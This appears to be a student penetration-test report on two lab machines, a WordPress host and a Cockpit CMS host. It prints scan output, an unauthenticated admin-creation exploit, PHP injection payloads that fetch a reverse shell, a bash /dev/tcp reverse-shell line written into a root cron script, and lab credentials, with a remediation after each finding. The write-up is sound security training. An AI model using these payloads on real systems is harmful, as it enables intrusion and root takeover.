

FINAL Report

Author: Oliver Mustoe



(Image credit: https://collider.com/lord-of-the-rings-timeline-explained/)

Table of Contents

[Introduction: 3](#_Toc120723554)

[Objective: 3](#_Toc120723555)

[Recommendations: 3](#_Toc120723556)

[System Hostname/IP: fw-rivendell.shire.org /10.0.5.250 4](#_Toc120723557)

[Service enumeration 4](#_Toc120723558)

[Privilege escalation 12](#_Toc120723559)

[System IP: bree.shire.org /10.0.5.32 18](#_Toc120723560)

[Service enumeration 18](#_Toc120723561)

[Privilege escalation 23](#_Toc120723562)

# Introduction:

This report contains all actions conducted to test the provided target/s, with the purpose of ensuring the vulnerable machine would be ready to be deployed in a production environment.

# Objective:

The objective of this report is to conduct a penetration test against the provided targets. The penetration tester is tasked with following an orderly approach in penetrating the target to achieve objective goals.

# Recommendations:

The penetration tester recommends patching all possible vulnerabilities identified during this test in order to ensure that a attacker could not exploit them in the future. The patching process should be implemented as a regular patching program to protect against other vulnerabilities found later.

# System Hostname/IP: fw-rivendell.shire.org /10.0.5.250

## Service enumeration

Service enumeration is the process in which methods are used to find services available on the target. By completing this part of the penetration test, the attacker can understand what applications are running on the system for exploitation.

System details:

|  |  |  |  |
| --- | --- | --- | --- |
| **System hostname** | **System IP** | **System open ports** | **Found system locations** |
| fw-rivendell.shire.org | 10.0.5.250 | 22/TCP, 80/TCP | /index.php  /wp-admin  /wp-content  /wp-includes |

Nslookup results:

┌──(champuser㉿kali)-[~]

└─$ nslookup fw-rivendell.shire.org 10.0.5.22

Server:         10.0.5.22

Address:        10.0.5.22#53

Name:   fw-rivendell.shire.org

Address: 10.0.5.250

NMAP scan results:

┌──(champuser㉿kali)-[~]

└─$ sudo nmap 10.0.5.250 -A

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-30 11:51 EST

Nmap scan report for 10.0.5.250

Host is up (0.00088s latency).

Not shown: 997 closed tcp ports (reset)

PORT     STATE SERVICE VERSION

22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   256 953a68ca6a3f002f073ca51091983d22 (ECDSA)

|\_  256 bbf3f558b7386489b9a20c41516b5177 (ED25519)

80/tcp   open  http    Apache httpd 2.4.52 ((Ubuntu))

|\_http-server-header: Apache/2.4.52 (Ubuntu)

|\_http-title: Rivendell Community News &#8211; Middle Earth News with an Elv...

|\_http-generator: WordPress 5.8

| http-cookie-flags:

|   /:

|     PHPSESSID:

|\_      httponly flag not set

2222/tcp open  ssh     OpenSSH 8.4p1 (protocol 2.0)

| ssh-hostkey:

|   3072 1c742e1474ce59778a67490a9bb73186 (RSA)

|   256 a2597858b7d2396f62ae4fe6af65f01b (ECDSA)

|\_  256 f51c68c6850496e76f78b7cb995fc0cb (ED25519)

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=7.93%E=4%D=11/30%OT=22%CT=1%CU=44050%PV=Y%DS=2%DC=I%G=Y%TM=63878A

OS:31%P=x86\_64-pc-linux-gnu)SEQ(SP=104%GCD=2%ISR=104%TI=Z%CI=Z%TS=A)SEQ(SP=

OS:104%GCD=1%ISR=104%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%

OS:O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2

OS:=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=3F%W=FAF0%O=M5B4NNS

OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=3F%S=O%A=S+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=40%W=0%

OS:S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=40%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(

OS:R=Y%DF=Y%T=3F%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F

OS:=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T

OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RI

OS:D=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE

HOP RTT     ADDRESS

1   0.88 ms 10.0.5.250

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 19.51 seconds

Gobuster results:

┌──(champuser㉿kali)-[~]

└─$ sudo gobuster dir -e -u http://10.0.5.250/ -w /usr/share/wordlists/dirb/common.txt

===============================================================

Gobuster v3.3

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url:                     http://10.0.5.250/

[+] Method:                  GET

[+] Threads:                 10

[+] Wordlist:                /usr/share/wordlists/dirb/common.txt

[+] Negative Status codes:   404

[+] User Agent:              gobuster/3.3

[+] Expanded:                true

[+] Timeout:                 10s

===============================================================

2022/11/30 11:49:29 Starting gobuster in directory enumeration mode

===============================================================

http://10.0.5.250/.hta                 (Status: 403) [Size: 275]

http://10.0.5.250/.htaccess            (Status: 403) [Size: 275]

http://10.0.5.250/.htpasswd            (Status: 403) [Size: 275]

http://10.0.5.250/index.php            (Status: 301) [Size: 1] [--> http://10.0.5.250/]

http://10.0.5.250/server-status        (Status: 403) [Size: 275]

http://10.0.5.250/wp-admin             (Status: 301) [Size: 311] [--> http://10.0.5.250/wp-admin/]

http://10.0.5.250/wp-content           (Status: 301) [Size: 313] [--> http://10.0.5.250/wp-content/]

http://10.0.5.250/wp-includes          (Status: 301) [Size: 314] [--> http://10.0.5.250/wp-includes/]

http://10.0.5.250/xmlrpc.php           (Status: 405) [Size: 43]

===============================================================

2022/11/30 11:49:30 Finished

===============================================================

Default webpage when navigated to the target in a browser:

Graphical user interface, text, application

Description automatically generated

Inspecting the default webpages source, inside the head, many plugins can be seen including “thecartpress”:

A screenshot of a computer

Description automatically generated with medium confidence

Port 80: Wordpress Plugin TheCartPress 1.5.3.6 - Privilege Escalation (Unauthenticated)

[exploitDB 50378](https://www.exploit-db.com/exploits/50378) | [WPScan](https://wpscan.com/vulnerability/9b403259-0c84-4566-becd-eb531c486c21) | [Vulners](https://vulners.com/patchstack/PATCHSTACK:EC635FE0418FBD7C9BBFBE7E8FA71BC3)

**Explanation of Vulnerability:** This vulnerability abuses the tcp\_register\_and\_login\_ajax AJAX action of the plugin to allow unauthorized users to create accounts with roles such as admin.

**Remediation:** Deactivate and delete the plugin.

**Severity:** Critical

**Proof of concept:**

Download exploit [exploitDB 50378](https://www.exploit-db.com/exploits/50378) and change lines 51 (as it is possible this username is in use, make it as unique as possible):

New 51 line (commented is original lines content):

    "tcp\_new\_user\_name" : "fotp", #"admin\_02",

Running the exploit:

┌──(champuser㉿kali)-[~/…/SEC-335/weekfinal/working\_final\_targets/REPORT]

└─$ python3 50378.py http://10.0.5.250/

TheCartPress <= 1.5.3.6 - Unauthenticated Privilege Escalation

Author -> space\_hen (www.github.com/spacehen)

Inserting admin...

""

Navigate to WordPress sign in (<http://10.0.5.250/wp-admin/> redirects to the sign in page):

Graphical user interface, text, application

Description automatically generated

Successful sign in of the created of admin “fotp” user:

Graphical user interface, text, application

Description automatically generated

## Privilege escalation

Privilege escalation is the process in which design flaws in operating systems or software are exploited to gain access to protected resources on a target system.

**(NOTE:** Screenshots used to describe steps taken by the penetration tester in the privilege escalation process.)

Using the admin WordPress user “fotp” created in the proof of concept, navigated to <http://10.0.5.250/wp-admin/theme-install.php?browse=popular> and selected the “Upload Theme” button. Using the “Browse..” button, navigated to a PHP reverse shell (one used found here <https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>) downloaded on local host. Line 49 in the file must be changed to reflect the IP of the host with the listener (local host):

$ip = '10.0.99.34';  // CHANGE THIS

Graphical user interface, text, application

Description automatically generated

After clicking “Install Now”, the following path <http://10.0.5.250/wp-content/uploads/2022/11/> contains the uploaded reverse shell (if done later, the “/2022/11” would be changed to reflect the year/month):

Graphical user interface

Description automatically generated with medium confidence

Opening a Netcat listener, the reverse shell was activated by clicking it, and a shell on the target was obtained. The shell was upgraded then with the following Python command:

python3 -c 'import pty; pty.spawn("/bin/bash")'

Graphical user interface, text

Description automatically generated

With this foothold, the “/etc/passwd” file can be examined to find users. Of note, the following entry is found:



With knowledge of a user, “elrond”, a password list can be made to attempt access to the user. WordPress stores a plaintext database user and password in a file in the web root named “wp-config.php”. Extracting database information with Grep, a password emerges that was successfully tried to access the “elrond” user:

www-data@wp-rivendell:/$ grep 'DB' /var/www/html/wp-config.php

grep 'DB' /var/www/html/wp-config.php

define( 'DB\_NAME', 'wordpress' );

define( 'DB\_USER', 'root' );

define( 'DB\_PASSWORD', 'elrond77' );

define( 'DB\_HOST', 'localhost' );

define( 'DB\_CHARSET', 'utf8' );

define( 'DB\_COLLATE', '' );

Using the password “elrond77” with the “elrond” user, full user access can be achieved (included in the screenshot is the user flag):

|  |  |
| --- | --- |
| Found user username | Found user password |
| elrond | elrond77 |

Text

Description automatically generated

It is also noteworthy to mention that the password also could have been easily guessed using tools such as RSmangler and Hydra due to the password being the username plus 2 numbers.

To mitigate this potential password breach (either through guessing or WordPress exploitation), unique passwords should be used for different accounts and passwords should not contain the username.

Investigating the “elrond” user’s directory, a file named “md5sum.txt” can be found with a UID and GUID of root using the “stat” command:

Text

Description automatically generated

The file contains MD5 hashes of the files found within the web root. It was also observabled, through “stat”, that the file updates every 5 or so minutes. With this information, it seemed likely that root is automatically updating this file every few minutes, possibly with a cronjob. Investigating this further, a cronjob automatically runs a job named “check\_web\_for\_elrond” that runs “/home/elrond/scripts/check\_web.sh” every 5 minutes as root:



Investigating this file, “/home/elrond/scripts/check\_web.sh”, it does produce the results seen in the “md5sum.txt”:

elrond@wp-rivendell:~$ cat scripts/check\_web.sh

cat scripts/check\_web.sh

#!/bin/bash

echo `date` > /home/elrond/md5sum.txt

find /var/www/html -type f -exec md5sum '{}' \; >> /home/elrond/md5sum.txt

And this script is also editable by the “elrond” user:

Text

Description automatically generated

With this information, the “check\_web.sh” script was populated with the following code as the “elrond” user, and after setting up a listener, gained a reverse shell as a root user after some amount of time (root-flag exposed in screenshot below).

cat > scripts/check\_web.sh << "EOF"

> #!/bin/bash

> /bin/bash -i>& /dev/tcp/10.0.99.34/1234 0>&1

> EOF

Text

Description automatically generated

To mitigate this escalation, no user should have access to a script that is automatically run by root in any shape or form. The script “check\_web.sh” should be moved into a protected directory where only root has access to it.

According to <https://www.malcare.com/blog/how-to-secure-your-wordpress-site-with-wp-config-php/>, several items can be place in “wp-config.php” file to harden WordPress to prevent a lot of the attack surface used on this target. This includes disabling the ability to install rogue themes and plugins:

[code]define(‘DISALLOW\_FILE\_MODS’,true);[/code]

And that the “wp-config” file can be moved outside of the web root.

# System IP: bree.shire.org /10.0.5.32

## Service enumeration

Service enumeration is the process in which methods are used to find services available on the target. By completing this part of the penetration test, the attacker can understand what applications are running on the system for exploitation.

To begin, the “/etc/hosts” file needs to be changed like the following:

┌──(champuser㉿kali)-[~]

└─$ cat /etc/hosts

127.0.0.1       localhost

127.0.1.1       kali

10.0.5.32       bree.shire.org

10.0.5.22       ns.shire.org

# The following lines are desirable for IPv6 capable hosts

::1     localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

System details:

|  |  |  |  |
| --- | --- | --- | --- |
| **System hostname** | **System IP** | **System open ports** | **Found system locations** |
| bree.shire.org | 10.0.5.32 | 22/TCP, 80/TCP | /addons  /assets  /cp  /favicon.ico  /install  /index.php  /lib  /modules  /server-status  /storage  /vendor |

Nslookup results:

┌──(champuser㉿kali)-[~]

└─$ nslookup bree.shire.org 10.0.5.22

Server:         10.0.5.22

Address:        10.0.5.22#53

Name:   bree.shire.org

Address: 10.0.5.32

NMAP results:

┌──(champuser㉿kali)-[~]

└─$ sudo nmap 10.0.5.32 -A

Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-30 15:45 EST

Nmap scan report for bree.shire.org (10.0.5.32)

Host is up (0.0014s latency).

Not shown: 998 closed tcp ports (reset)

PORT   STATE SERVICE VERSION

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

|   2048 89246a7387617df81430861862bb066c (RSA)

|   256 e6bde2725d3f037a6d5be77b5ccb7afa (ECDSA)

|\_  256 952e7217e037ecdd0af53c39a2ddb0bd (ED25519)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

|\_http-trane-info: Problem with XML parsing of /evox/about

| http-title: Authenticate Please!

|\_Requested resource was /auth/login

|\_http-server-header: Apache/2.4.29 (Ubuntu)

Device type: general purpose

Running: Linux 5.X

OS CPE: cpe:/o:linux:linux\_kernel:5

OS details: Linux 5.0 - 5.3

Network Distance: 2 hops

Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel

TRACEROUTE

HOP RTT     ADDRESS

1   1.44 ms bree.shire.org (10.0.5.32)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds

Gobuster results:

┌──(champuser㉿kali)-[~]

└─$ sudo gobuster dir -e -u http://10.0.5.32/ -w /usr/share/wordlists/dirb/common.txt

===============================================================

Gobuster v3.3

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

===============================================================

[+] Url:                     http://10.0.5.32/

[+] Method:                  GET

[+] Threads:                 10

[+] Wordlist:                /usr/share/wordlists/dirb/common.txt

[+] Negative Status codes:   404

[+] User Agent:              gobuster/3.3

[+] Expanded:                true

[+] Timeout:                 10s

===============================================================

2022/11/30 15:47:34 Starting gobuster in directory enumeration mode

===============================================================

http://10.0.5.32/.hta                 (Status: 403) [Size: 274]

http://10.0.5.32/.htaccess            (Status: 403) [Size: 274]

http://10.0.5.32/.htpasswd            (Status: 403) [Size: 274]

http://10.0.5.32/addons               (Status: 301) [Size: 307] [--> http://10.0.5.32/addons/]

http://10.0.5.32/assets               (Status: 301) [Size: 307] [--> http://10.0.5.32/assets/]

http://10.0.5.32/cp                   (Status: 200) [Size: 631]

http://10.0.5.32/favicon.ico          (Status: 200) [Size: 82726]

http://10.0.5.32/install              (Status: 301) [Size: 308] [--> http://10.0.5.32/install/]

http://10.0.5.32/index.php            (Status: 302) [Size: 0] [--> /auth/login]

http://10.0.5.32/lib                  (Status: 301) [Size: 304] [--> http://10.0.5.32/lib/]

http://10.0.5.32/modules              (Status: 301) [Size: 308] [--> http://10.0.5.32/modules/]

http://10.0.5.32/server-status        (Status: 403) [Size: 274]

http://10.0.5.32/storage              (Status: 301) [Size: 308] [--> http://10.0.5.32/storage/]

http://10.0.5.32/vendor               (Status: 301) [Size: 307] [--> http://10.0.5.32/vendor/]

===============================================================

2022/11/30 15:47:35 Finished

===============================================================

Default webpage when navigating to the server:

Graphical user interface, application, website

Description automatically generated

Port 80: Cockpit CMS 0.6.1 - Remote Code Execution

**Explanation of Vulnerability:** This vulnerability allows a user to achieve Remote Code Execution by abusing the registerCriteriaFunction in lib/MongoLite/Database.php via injecting custom PHP code.

**Remediation:** Upgrade to Cockpit CMS versions higher or equal to 0.6.1

**Severity:** Critical

**Proof of concept:**

The following payload can be injected into the “Username” field (“Password” field does require input, but it can be anything) to get a response of the phpinfo page after pressing “Authenticate”:

test'.phpinfo().'

Graphical user interface, application, website

Description automatically generated

## Privilege escalation

Privilege escalation is the process in which design flaws in operating systems or software are exploited to gain access to protected resources on a target system.

**(NOTE:** Screenshots used to describe steps taken by the penetration tester in the privilege escalation process.)

Using a PHP reverse shell (one used found here <https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php>). Line 49 in the file must be changed to reflect the IP of the host with the listener:

$ip = '10.0.99.34';  // CHANGE THIS

Then with an opened Python webserver in the directory containing the reverse shell, the target can be made to download the reverse shell with the following payload in the “Username” field after pressing the “Authenticate” button:

test'.file\_put\_contents("php-reverse-shell.php", fopen("http://10.0.99.34:8123/php-reverse-shell.php", 'r')).'

Then the browser can be used to navigate to the reverse shell in the URL field, and with a Netcat listener open, will achieve a shell on the target, below screenshot shows the above process including upgrading the shell with Python:

Graphical user interface, text, application

Description automatically generated

With this foothold, the “/etc/passwd” file can be investigated where the following 2 entries stand out as users:



Particularly the “samwise” user, and similar variations, has been seen on previously exploited systems. Using these previously acquired passwords, a password can be found for “samwise”:

|  |  |
| --- | --- |
| Found user username | Found user password |
| samwise | Mallorn79 |

Graphical user interface, text

Description automatically generated

As can be seen from running the “id” command, samwise is a part of the “sudo” group, meaning that root compromise can be achieved by using “sudo su” to escalate to root (below also shows the user and root flags.):

Text

Description automatically generated

To mitigate this, unique passwords should be used across devices.